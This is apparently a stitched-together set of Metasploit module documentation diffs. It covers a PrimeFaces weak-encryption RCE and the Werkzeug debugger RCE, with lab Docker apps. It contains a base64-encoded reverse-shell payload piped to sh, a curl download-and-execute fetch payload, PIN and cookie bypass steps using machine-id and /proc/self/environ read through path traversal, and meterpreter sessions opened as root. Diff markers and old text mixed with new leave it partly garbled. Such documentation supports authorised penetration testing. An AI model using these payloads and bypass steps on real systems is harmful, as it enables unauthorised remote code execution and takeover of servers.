[*] Attempting to execute: echo ZWNobyAiZXZhbChuZXcgamF2YS5sYW5nLlN0cmluZyhqYXZhLnV0aWwuQmFzZTY0LmRlY29kZXIuZGVjb2RlKCdkbUZ5SUZCeWIyTmxjM05DZFdsc1pHVnlQVXBoZG1FdWRIbHdaU2dpYW1GMllTNXNZVzVuTGxCeWIyTmxjM05DZFdsc1pHVnlJaWs3ZG1GeUlIQTlibVYzSUZCeWIyTmxjM05DZFdsc1pHVnlLQ0l2WW1sdUwzTm9JaWt1Y21Wa2FYSmxZM1JGY25KdmNsTjBjbVZoYlNoMGNuVmxLUzV6ZEdGeWRDZ3BPM1poY2lCemN6MUtZWFpoTG5SNWNHVW9JbXBoZG1FdWJtVjBMbE52WTJ0bGRDSXBPM1poY2lCelBXNWxkeUJ6Y3lnaU1TNHhMakV1TVNJc05EUTBOQ2s3ZG1GeUlIQnBQWEF1WjJWMFNXNXdkWFJUZEhKbFlXMG9LU3h3WlQxd0xtZGxkRVZ5Y205eVUzUnlaV0Z0S0Nrc2MyazljeTVuWlhSSmJuQjFkRk4wY21WaGJTZ3BPM1poY2lCd2J6MXdMbWRsZEU5MWRIQjFkRk4wY21WaGJTZ3BMSE52UFhNdVoyVjBUM1YwY0hWMFUzUnlaV0Z0S0NrN2QyaHBiR1VvSVhNdWFYTkRiRzl6WldRb0tTbDdkMmhwYkdVb2NHa3VZWFpoYVd4aFlteGxLQ2srTUNsemJ5NTNjbWwwWlNod2FTNXlaV0ZrS0NrcE8zZG9hV3hsS0hCbExtRjJZV2xzWVdKc1pTZ3BQakFwYzI4dWQzSnBkR1VvY0dVdWNtVmhaQ2dwS1R0M2FHbHNaU2h6YVM1aGRtRnBiR0ZpYkdVb0tUNHdLWEJ2TG5keWFYUmxLSE5wTG5KbFlXUW9LU2s3YzI4dVpteDFjMmdvS1R0d2J5NW1iSFZ6YUNncE8wcGhkbUV1ZEhsd1pTZ2lhbUYyWVM1c1lXNW5MbFJvY21WaFpDSXBMbk5zWldWd0tEVXdLVHQwY25sN2NDNWxlR2wwVm1Gc2RXVW9LVHRpY21WaGF6dDlZMkYwWTJnb1pTbDdmWDA3Y0M1a1pYTjBjbTk1S0NrN2N5NWpiRzl6WlNncE93PT0nKSkpOyJ8ampz|((command -v base64 >/dev/null && (base64 --decode || base64 -d)) || (command -v openssl >/dev/null && openssl enc -base64 -d))|sh
|
||||
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:54104) at 2024-11-14 11:31:01 -0500
|
||||
|
||||
whoami
|
||||
root
|
||||
```
|
||||
|
||||
fetch payload
|
||||
|
||||
```
|
||||
msf6 > use exploit/multi/http/primefaces_weak_encryption_rce
|
||||
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
|
||||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090
|
||||
rport => 8090
|
||||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit
|
||||
|
||||
[*] Command to run on remote host: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD &
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Victim evaluates Expression Language expressions
|
||||
[*] Attempting to execute: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD &
|
||||
[*] Client 172.17.0.2 requested /aZRe4yWUN3U2-lDtdsaGlA
|
||||
[*] Sending payload to 172.17.0.2 (curl/7.64.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.17.0.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.2:44312) at 2024-11-14 12:04:14 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.17.0.2
|
||||
OS : Debian 10.10 (Linux 6.11.2-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
@@ -1,72 +1,602 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Verified against:
|
||||
+ 0.9.6 on Debian
|
||||
+ 0.9.6 on Centos
|
||||
+ 0.10 on Debian
|
||||
|
||||
A sample application which enables the console debugger is available [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/werkzeug_console.py)
|
||||
### Background
|
||||
|
||||
The [Werkzeug](https://werkzeug.palletsprojects.com/)
|
||||
[debugger](https://werkzeug.palletsprojects.com/en/3.0.x/debug/) allows
|
||||
developers to execute python commands in a web application either when an
|
||||
exception is not caught by the application, or via the dedicated console if
|
||||
enabled.
|
||||
|
||||
Werkzeug is included with [Flask](https://flask.palletsprojects.com/), but the
|
||||
debugger is not enabled by default. It is also included in other projects, for
|
||||
example
|
||||
[RunServerPlus](https://django-extensions.readthedocs.io/en/latest/runserver_plus.html),
|
||||
part of [django-extensions](https://django-extensions.readthedocs.io/) and may
|
||||
also be used alone.
|
||||
|
||||
[The Werkzeug documentation](https://werkzeug.palletsprojects.com/en/3.0.x/debug/)
|
||||
states: "*The debugger allows the execution of arbitrary code which makes it a
|
||||
major security risk. The debugger must never be used on production machines. We
|
||||
cannot stress this enough. Do not enable the debugger in production. Production
|
||||
means anything that is not development, and anything that is publicly
|
||||
accessible.*"
|
||||
|
||||
Additionally,
|
||||
[the Flask documentation](https://flask.palletsprojects.com/en/3.0.x/debugging/)
|
||||
states: "*Do not run the development server, or enable the built-in debugger, in
|
||||
a production environment. The debugger allows executing arbitrary Python code
|
||||
from the browser. It’s protected by a pin, but that should not be relied on for
|
||||
security.*"
|
||||
|
||||
**Of course this doesn't prevent developers from mistakenly enabling it in
|
||||
production!**
|
||||
|
||||
### Exploit Details
|
||||
|
||||
Werkzeug versions 0.10 and older of did not include the PIN security feature,
|
||||
therefore if the debugger was enabled then arbitrary code execution could be
|
||||
easily achieved. Versions 0.11 and above enable the PIN by default, though it
|
||||
can be disabled by the application developer. The format of the PIN is 9
|
||||
numerical digits, and can include hyphens (which are ignored by the
|
||||
application.) I.e. `123456789` is the same as `123-456-789`. The PIN is logged
|
||||
to stdout when the PIN prompt is shown to the user, therefore if access to
|
||||
stdout is possible then it may be able to obtain the PIN using that feature.
|
||||
|
||||
A custom PIN can be set by the application developer as an environment variable,
|
||||
but it is more commonly generated by Werkzeug using an algorithm that is seeded
|
||||
by information about the environment that the application is running in.
|
||||
|
||||
Therefore, if the debugger or console is enabled and is not protected by a PIN,
|
||||
or if it is possible to obtain the PIN, cookie or the required information about
|
||||
the environment that the app is running in (e.g. by exploiting a separate path
|
||||
traversal bug in the app) then remote Python code execution will be possible.
|
||||
|
||||
If the debugger is "secured" with a PIN then, it will be automatically locked
|
||||
after 11 unsuccessful authentication attempts, requiring a restart to re-enable
|
||||
PIN based authentication. This can be avoided by calculating the value of a
|
||||
cookie and sending that to the debugger instead of sending the PIN, which is
|
||||
what this module does, unless the Known-PIN method of exploitation is used.
|
||||
Furthermore, authentication using a cookie works even if the PIN-based
|
||||
authentication method has been locked because of too many failed authentication
|
||||
attempts. This means that this exploit will work even if the debugger
|
||||
PIN-authentication is locked.
|
||||
|
||||
[HackTheBox had a challenge called "Agile"](https://app.hackthebox.com/machines/Agile)
|
||||
that required this vulnerability to be exploited in order to gain an initial
|
||||
foothold. As a result there are many walkthroughs available online that explain
|
||||
how a valid PIN can be generated using
|
||||
[the algorithm in the Werkzeug source code](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L142)
|
||||
along with information about the environment. As far as I can tell, none of
|
||||
these walkthroughs mention that a cookie can also be generated, and that a
|
||||
cookie will bypass a PIN-locked debugger. Neither do they mention that very old
|
||||
versions of Werkzeug don't require PIN or that the PIN/cookie generation
|
||||
algorithm has changed over time.
|
||||
|
||||
To support the different PIN/cookie generation algorithms, this module supports
|
||||
multiple different versions of Werkzeug as the target.
|
||||
|
||||
It should be noted that version
|
||||
[3.0.3 includes a check](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L309)
|
||||
to see ensure that requests that include python code to be executed by the
|
||||
debugger must come from localhost or 127.0.0.1. This is done by checking the
|
||||
Host HTTP header, and therefore can in some cases be bypassed by setting the
|
||||
Host header manually using the VHOST parameter in this module.
|
||||
|
||||
## Tested Versions
|
||||
|
||||
This module has been verified against the following versions of Werkzeug:
|
||||
- 3.0.3 on Debian 12, Windows 11 and macOS 14.6
|
||||
- 1.1.4 on Debian 12
|
||||
- 1.0.1 on Debian 12
|
||||
- 0.11.5 on Debian 12
|
||||
- 0.10 on Debian 12
|
||||
|
||||
## Sample Vulnerable Application
|
||||
|
||||
The following Docker Compose file, Dockerfiles and Python script can be used to
|
||||
build and run a set of containers that have the console enabled (at /console)
|
||||
and also contains endpoints that cause the application to attempt to read the
|
||||
content of a file and include it in the response. These endpoints can be used
|
||||
for arbitrary file read, but also for triggering the debugger, for example by
|
||||
requesting the content of a file that doesn't exist in the container.
|
||||
|
||||
#### compose.yaml
|
||||
|
||||
services:
|
||||
werkzeug-3.0.3:
|
||||
build:
|
||||
dockerfile: werkzeug-3.0.3.Dockerfile
|
||||
ports:
|
||||
- "80:80"
|
||||
werkzeug-1.0.1:
|
||||
build:
|
||||
dockerfile: werkzeug-1.0.1.Dockerfile
|
||||
ports:
|
||||
- "81:80"
|
||||
werkzeug-0.11.5:
|
||||
build:
|
||||
dockerfile: werkzeug-0.11.5.Dockerfile
|
||||
ports:
|
||||
- "82:80"
|
||||
werkzeug-0.10:
|
||||
build:
|
||||
dockerfile: werkzeug-0.10.Dockerfile
|
||||
ports:
|
||||
- "83:80"
|
||||
werkzeug-3.0.3-basicauth-custompin:
|
||||
build:
|
||||
dockerfile: werkzeug-3.0.3-basicauth.Dockerfile
|
||||
environment:
|
||||
WERKZEUG_DEBUG_PIN: 1234
|
||||
ports:
|
||||
- "84:80"
|
||||
werkzeug-3.0.3-noevalex:
|
||||
build:
|
||||
dockerfile: werkzeug-3.0.3.Dockerfile
|
||||
ports:
|
||||
- "85:80"
|
||||
entrypoint:
|
||||
- ./app.py
|
||||
- --no-evalex
|
||||
|
||||
#### werkzeug-3.0.3.Dockerfile
|
||||
|
||||
# syntax=docker/dockerfile:1
|
||||
FROM python:3
|
||||
RUN pip install werkzeug==3.0.3 flask==3.0.3
|
||||
COPY report.txt .
|
||||
COPY --chmod=744 app.py .
|
||||
EXPOSE 80
|
||||
ENTRYPOINT ["./app.py"]
|
||||
|
||||
#### werkzeug-1.0.1.Dockerfile
|
||||
|
||||
# syntax=docker/dockerfile:1
|
||||
FROM python:2
|
||||
RUN pip install werkzeug==1.0.1 flask==1.1.4
|
||||
COPY report.txt .
|
||||
COPY --chmod=744 app.py .
|
||||
EXPOSE 80
|
||||
ENTRYPOINT ["./app.py"]
|
||||
|
||||
#### werkzeug-0.11.5.Dockerfile
|
||||
|
||||
# syntax=docker/dockerfile:1
|
||||
FROM python:2
|
||||
RUN pip install werkzeug==0.11.5 flask==0.12.5
|
||||
COPY report.txt .
|
||||
COPY --chmod=744 app.py .
|
||||
EXPOSE 80
|
||||
ENTRYPOINT ["./app.py"]
|
||||
|
||||
#### werkzeug-0.10.Dockerfile
|
||||
|
||||
# syntax=docker/dockerfile:1
|
||||
FROM python:2
|
||||
RUN pip install werkzeug==0.10 flask==0.12.5
|
||||
COPY report.txt .
|
||||
COPY --chmod=744 app.py .
|
||||
EXPOSE 80
|
||||
ENTRYPOINT ["./app.py"]
|
||||
|
||||
#### werkzeug-3.0.3-basicauth.Dockerfile
|
||||
|
||||
# syntax=docker/dockerfile:1
|
||||
FROM python:3
|
||||
RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0
|
||||
COPY report.txt .
|
||||
COPY --chmod=744 app-basicauth.py app.py
|
||||
EXPOSE 80
|
||||
ENTRYPOINT ["./app.py"]
|
||||
|
||||
#### app.py
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
import click
|
||||
from flask import Flask, request, url_for, make_response
|
||||
from sys import argv
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route("/")
|
||||
def index():
|
||||
return (
|
||||
'<p><a href="' + url_for("getdownload", file="report.txt") + '">'
|
||||
'Download Report Using GET</a></p>'
|
||||
'<p><form method="post" action="' + url_for("postdownload") + '">'
|
||||
'<input name="file" type=hidden value="report.txt">'
|
||||
'<input type="submit" value="Download Report Using POST">'
|
||||
'</form></p>'
|
||||
)
|
||||
|
||||
def build_response(filename):
|
||||
with open(filename) as file:
|
||||
response = make_response(file.read())
|
||||
response.headers['Content-disposition'] = 'attachment'
|
||||
return response
|
||||
|
||||
@app.route("/getdownload")
|
||||
def getdownload():
|
||||
return build_response(request.args.get('file'))
|
||||
|
||||
@app.route("/postdownload", methods=['POST', 'PUT'])
|
||||
def postdownload():
|
||||
return build_response(request.form['file'])
|
||||
|
||||
@click.command()
|
||||
@click.option("--no-evalex", is_flag=True, default=False)
|
||||
def runserver(no_evalex):
|
||||
evalex = not no_evalex
|
||||
app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
|
||||
use_reloader=False, use_evalex=evalex)
|
||||
|
||||
if __name__ == '__main__':
|
||||
runserver()
|
||||
|
||||
#### app-basicauth.py
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
import click
|
||||
from flask import Flask, request, url_for, make_response
|
||||
from sys import argv
|
||||
|
||||
from flask_httpauth import HTTPBasicAuth
|
||||
from werkzeug.security import generate_password_hash, check_password_hash
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
auth = HTTPBasicAuth()
|
||||
users = {"admin": generate_password_hash("admin")}
|
||||
|
||||
@auth.verify_password
|
||||
def verify_password(username, password):
|
||||
if username in users and \
|
||||
check_password_hash(users.get(username), password):
|
||||
return username
|
||||
|
||||
@app.route("/")
|
||||
@auth.login_required
|
||||
def index():
|
||||
return (
|
||||
'<p><a href="' + url_for("getdownload", file="report.txt") + '">'
|
||||
'Download Report Using GET</a></p>'
|
||||
'<p><form method="post" action="' + url_for("postdownload") + '">'
|
||||
'<input name="file" type=hidden value="report.txt">'
|
||||
'<input type="submit" value="Download Report Using POST">'
|
||||
'</form></p>'
|
||||
)
|
||||
|
||||
def build_response(filename):
|
||||
with open(filename) as file:
|
||||
response = make_response(file.read())
|
||||
response.headers['Content-disposition'] = 'attachment'
|
||||
return response
|
||||
|
||||
@app.route("/getdownload")
|
||||
@auth.login_required
|
||||
def getdownload():
|
||||
return build_response(request.args.get('file'))
|
||||
|
||||
@app.route("/postdownload", methods=['POST', 'PUT'])
|
||||
@auth.login_required
|
||||
def postdownload():
|
||||
return build_response(request.form['file'])
|
||||
|
||||
@click.command()
|
||||
@click.option("--no-evalex", is_flag=True, default=False)
|
||||
def runserver(no_evalex):
|
||||
evalex = not no_evalex
|
||||
app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
|
||||
use_reloader=False, use_evalex=evalex)
|
||||
|
||||
if __name__ == '__main__':
|
||||
runserver()
|
||||
|
||||
#### report.txt
|
||||
|
||||
Hi there, I'm a sample report
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/multi/http/werkzeug_debug_rce`
|
||||
4. Do: `set rport <port>`
|
||||
5. Do: `set rhost <ip>`
|
||||
6. Do: `check`
|
||||
```
|
||||
[+] 10.108.106.201:8081 - The target is vulnerable.
|
||||
```
|
||||
7. Do: `set payload python/meterpreter/reverse_tcp`
|
||||
8. Do: `set lhost <ip>`
|
||||
9. Do: `exploit`
|
||||
10. You should get a shell.
|
||||
1. Run the docker containers
|
||||
2. Start msfconsole
|
||||
|
||||
### Werkzeug 3.0.3 using /console
|
||||
|
||||
3. Do: `use exploit/multi/http/werkzeug_debug_rce`
|
||||
4. Do: `set RHOSTS <Iip>`
|
||||
5. Do: `set LHOST <ip>`
|
||||
6. Do: `set VHOST 127.0.0.1`
|
||||
7. Do: `set MACADDRESS <mac-address>`
|
||||
8. Do: `set MACHINEID <machine-id>`
|
||||
9. Do: `set FLASKPATH /usr/local/lib/<python3.version>/site-packages/flask/app.py` (where `<python3.version>` matches the version on the system being exploited)
|
||||
10. Do: `run`
|
||||
11. You should see a PIN and a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 3.0.3 using debugger (GET)
|
||||
|
||||
12. Do: `set TARGETURI /getdownload?file=`
|
||||
13. Do: `run`
|
||||
14. You should see a PIN and a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 3.0.3 using debugger (POST)
|
||||
|
||||
15. Do: `set METHOD POST`
|
||||
16. Do: `set TARGETURI /postdownload`
|
||||
17. Do: `set REQUESTBODY file=`
|
||||
18. Do: `run`
|
||||
19. You should see a PIN and a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 1.0.1 using /console
|
||||
|
||||
20. Do: `unset METHOD`
|
||||
21. Do: `unset TARGETURI`
|
||||
22. Do: `unset REQUESTBODY`
|
||||
23. Do: `set RPORT 81`
|
||||
24. Do: `set TARGET 1`
|
||||
25. Do: `set MACADDRESS <mac-address>`
|
||||
26. Do: `set MACHINEID <machine-id>`
|
||||
27. Do: `set FLASKPATH /usr/local/lib/python2.7/site-packages/flask/app.pyc`
|
||||
28. Do: `run`
|
||||
29. You should see a PIN and a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 1.0.1 using /debugger (GET)
|
||||
|
||||
30. Do: `set TARGETURI /getdownload?file=`
|
||||
31. Do: `run`
|
||||
32. You should see a PIN and a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 1.0.1 using debugger (POST)
|
||||
|
||||
33. Do: `set METHOD POST`
|
||||
34. Do: `set TARGETURI /postdownload`
|
||||
35. Do: `set REQUESTBODY file=`
|
||||
36. Do: `run`
|
||||
37. You should see a PIN and a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 0.11.5 using /console
|
||||
|
||||
38. Do: `unset METHOD`
|
||||
39. Do: `unset TARGETURI`
|
||||
40. Do: `unset REQUESTBODY`
|
||||
41. Do: `set RPORT 82`
|
||||
42. Do: `set TARGET 2`
|
||||
43. Do: `set MACADDRESS <mac-address>`
|
||||
44. Do: `set MACHINEID <machine-id>`
|
||||
45. Do: `run`
|
||||
46. You should see a PIN and a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 0.11.5 using /debugger (GET)
|
||||
|
||||
47. Do: `set TARGETURI /getdownload?file=`
|
||||
48. Do: `run`
|
||||
49. You should see a PIN and a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 0.11.5 using debugger (POST)
|
||||
|
||||
50. Do: `set METHOD POST`
|
||||
51. Do: `set TARGETURI /postdownload`
|
||||
52. Do: `set REQUESTBODY file=`
|
||||
53. Do: `run`
|
||||
54. You should see a PIN and a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 0.10.1 (No authentication required) using /console
|
||||
|
||||
55. Do: `unset METHOD`
|
||||
56. Do: `unset TARGETURI`
|
||||
57. Do: `unset REQUESTBODY`
|
||||
58. Do: `set RPORT 83`
|
||||
59. Do: `set TARGET 3`
|
||||
60. Do: `set AUTHMODE none`
|
||||
61. Do: `set MACADDRESS <mac-address>`
|
||||
62. Do: `set MACHINEID <machine-id>`
|
||||
63. Do: `run`
|
||||
64. You should see a PIN and a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 0.10.1 (No authentication required) using /debugger (GET)
|
||||
|
||||
65. Do: `set TARGETURI /getdownload?file=`
|
||||
66. Do: `run`
|
||||
67. You should see a PIN and a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 0.10.1 (no authentication required) using debugger (POST)
|
||||
|
||||
68. Do: `set METHOD POST`
|
||||
69. Do: `set TARGETURI /postdownload`
|
||||
70. Do: `set REQUESTBODY file=`
|
||||
71. Do: `run`
|
||||
72. You should see a PIN and a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 3.0.3 using debugger (POST) and known PIN with Basic HTTP Auth
|
||||
|
||||
73. Do: `set RPORT 84`
|
||||
74. Do: `set TARGET 0`
|
||||
75. Do: `set AUTHMODE known-PIN`
|
||||
76. Do: `set HTTPUSERNAME admin`
|
||||
77. Do: `set HTTPPASSWORD admin`
|
||||
78. Do: `set PIN 1234`
|
||||
79. Do: `run`
|
||||
80. You should see a cookie being logged then get a shell.
|
||||
|
||||
### Werkzeug 3.0.3 interactive debugger disabled
|
||||
|
||||
81. Do: `set RPORT 85`
|
||||
82. Do: `unset AUTHMODE`
|
||||
83. Do: `set MACADDRESS <mac-address>`
|
||||
84. Do: `set MACHINEID <machine-id>`
|
||||
85. Do: `set FLASKPATH /usr/local/lib/<python3.version>/site-packages/flask/app.py` (where `<python3.version>` matches the version on the system being exploited)
|
||||
86. Do: `run`
|
||||
87. You should see a failure due to the check failing.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
### `AUTHMODE`
|
||||
|
||||
TARGETURI by default is `/console`, as defined by werkzeug, however it can be changed within the python script.
|
||||
Method of authentication. Valid values are:
|
||||
|
||||
- `generated-cookie`: Cookie generated from information provided about the
|
||||
application's environment. **When this mode is used, the following additional
|
||||
options must be set:**
|
||||
- `APPNAME`: The name of the application according to Werkzeug. This is often
|
||||
`Flask`, `DebuggedApplication` or `wsgi_app`. Used along with other
|
||||
information to generate a PIN and cookie.
|
||||
- `CGROUP`: Control group. This may be an empty string (''), for example if
|
||||
the OS running the app is Linux and supports cgroup v2, or the OS is not
|
||||
Linux. If you have path traversal on Linux, this could be read from
|
||||
`/proc/self/cgroup`
|
||||
- `FLASKPATH`: Path to (and including) `site-packages/flask/app.py`. *If you
|
||||
have triggered the debugger via an exception, it will be at the top of the
|
||||
stack trace. E.g. `/usr/local/lib/python3.12/site-packages/flask/app.py`*.
|
||||
**Note that the file extension may need to be changed to .pyc**
|
||||
- `MACADDRESS`: The MAC address of the system that the application is running
|
||||
on. *If you have path traversal on Linux, this could be read from
|
||||
`/sys/class/net/eth0/`*
|
||||
- `MACHINEID`:
|
||||
- On Linux: *If you have path traversal on Linux, this could be read from
|
||||
/etc/machine-id, or if that doesn't exist,
|
||||
/proc/sys/kernel/random/boot_id.*
|
||||
- On Windows: This is a UUID stored in the registry at
|
||||
`HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid`.
|
||||
- On macOS,: This is the UTF-8 encoded serial number of the system
|
||||
(lower-case hexadecimal), padded to 32 characters. E.g. `N0TAREALSERIAL`
|
||||
becomes
|
||||
`4e3054415245414c53455249414c000000000000000000000000000000000000`. This
|
||||
can be retrieved with the following command
|
||||
`ioreg -c IOPlatformExpertDevice | grep \"serial-number\"`
|
||||
- `MODULENAME`: Name of the application module. Often `flask.app` or
|
||||
`werkzeug.debug`
|
||||
- `SERVICEUSER`: User account name that the service is running under.
|
||||
[This may be an empty string ('') in some cases](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L172)
|
||||
. *If you have path traversal on Linux, you may be able to read this from
|
||||
`/proc/self/environ`*
|
||||
- `known-cookie`: Cookie provided by user. **When this mode is used, the
|
||||
following additional option must be set:**
|
||||
- `COOKIE`: The HTTP cookie to use for authentication to the debugger.
|
||||
- `known-PIN`: **Does not bypass PIN-locked applications.** PIN provided by
|
||||
user. **When this mode is used, the following additional option must be set:**
|
||||
- `PIN`: Known 6 digit PIN to use for authentication. This can be set to a
|
||||
custom value by the application developer, in which case generating the pin
|
||||
won't work. *However, if you have path traversal, you may be able to
|
||||
retrieve the PIN by reading the application source code, or on Linux by
|
||||
reading `/proc/self/environ` to obtain the value. of the
|
||||
`WERKZEUG_DEBUG_PIN` environment variable. It may also be possible to obtain
|
||||
the PIN by accessing the logging that Werkzeug prints to stdout*.
|
||||
- `none`: For applications that don't require authentication. I.e. Werkzeug
|
||||
version 0.10 or lower or PIN authentication has been disabled by the
|
||||
application developer.
|
||||
|
||||
### `METHOD`
|
||||
|
||||
HTTP method used to access debugger or console. This is typically GET if the
|
||||
`TARGETURI` is `/console` but it may be necessary to use other methods to
|
||||
trigger the debugger. Valid values are: `GET`, `HEAD`, `POST`, `PUT`, `DELETE`,
|
||||
`OPTIONS`, `TRACE` and `PATCH`. **When `METHOD` is `POST`, `PUT` or `PATCH` the
|
||||
following additional option may be set:**
|
||||
|
||||
- `REQUESTBODY`: Body to send in POST/PUT/PATCH request, if required to trigger
|
||||
the debugger. E.g. invalid form value to raise an exception. **When this is
|
||||
set the following additional option may be set:**
|
||||
- `REQUESTCONTENTTYPE`: Request body encoding. Default:
|
||||
`application/x-www-form-urlencoded`
|
||||
|
||||
### `TARGETURI`
|
||||
|
||||
The path to the console or resource used to trigger the debugger. Default value
|
||||
is `/console`.
|
||||
|
||||
### `VHOST`
|
||||
|
||||
The value to use in the HTTP `Host` header. It may be necessary to set this to
|
||||
`127.0.0.1` or `localhost` if the target Werkzeug version is 3.0.3 or later,
|
||||
however this may hamper connectivity if the `Host` header is validated before
|
||||
the request is passed to the application.
|
||||
|
||||
### `TARGET`
|
||||
|
||||
Determines which algorithm the exploit module will use to generate a pin and
|
||||
cookie. Valid values are:
|
||||
|
||||
- `0`: Werkzeug > 1.0.1 (Flask > 1.1.4)
|
||||
- `1`: Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)
|
||||
- `2`: Werkzeug 0.11 - 0.11.5 (Flask < 1.0)
|
||||
- `3`: Werkzeug < 0.11 (Flask < 1.0)
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example utilizing the previously mentioned sample app listed above.
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/werkzeug_debug_rce
|
||||
msf exploit(werkzeug_debug_rce) > set rport 8081
|
||||
rport => 8081
|
||||
msf exploit(werkzeug_debug_rce) > set rhost 10.108.106.201
|
||||
rhost => 10.108.106.201
|
||||
msf exploit(werkzeug_debug_rce) > check
|
||||
[+] 10.108.106.201:8081 - The target is vulnerable.
|
||||
msf exploit(werkzeug_debug_rce) > set payload python/meterpreter/reverse_tcp
|
||||
payload => python/meterpreter/reverse_tcp
|
||||
msf exploit(werkzeug_debug_rce) > set lhost 10.108.106.121
|
||||
lhost => 10.108.106.121
|
||||
msf exploit(werkzeug_debug_rce) > exploit
|
||||
$ msfconsole -q
|
||||
msf6 > use exploit/multi/http/werkzeug_debug_rce
|
||||
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5
|
||||
RHOSTS => 192.168.23.5
|
||||
msf6 exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117
|
||||
LHOST => 192.168.23.117
|
||||
msf6 exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1
|
||||
VHOST => 127.0.0.1
|
||||
msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04
|
||||
MACADDRESS => 02:42:ac:12:00:04
|
||||
msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8
|
||||
MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8
|
||||
msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py
|
||||
FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py
|
||||
msf6 exploit(multi/http/werkzeug_debug_rce) > run
|
||||
|
||||
[*] Started reverse handler on 10.108.106.121:4444
|
||||
[*] Sending stage (25277 bytes) to 10.108.106.201
|
||||
[*] Meterpreter session 2 opened (10.108.106.121:4444 -> 10.108.106.201:36720) at 2015-07-09 19:02:52 -0400
|
||||
[*] Started reverse TCP handler on 192.168.23.117:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Debugger allows code execution
|
||||
[!] The service is running, but could not be validated. Debugger requires authentication
|
||||
[*] Generated authentication PIN: 105-774-671
|
||||
[*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248
|
||||
[*] Sending stage (24772 bytes) to 192.168.23.5
|
||||
[*] Meterpreter session 1 opened (192.168.23.117:4444 -> 192.168.23.5:62474) at 2024-10-06 19:34:20 +0100
|
||||
|
||||
meterpreter > getpid
|
||||
Current pid: 13034
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : werkzeug
|
||||
OS : Linux 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-05-24)
|
||||
Architecture : x86_64
|
||||
Meterpreter : python/python
|
||||
meterpreter > shell
|
||||
Process 13037 created.
|
||||
Channel 0 created.
|
||||
/bin/sh: 0: can't access tty; job control turned off
|
||||
# ls
|
||||
app.py app.pyc werkzeug
|
||||
# exit
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
```
|
||||
meterpreter > getpid
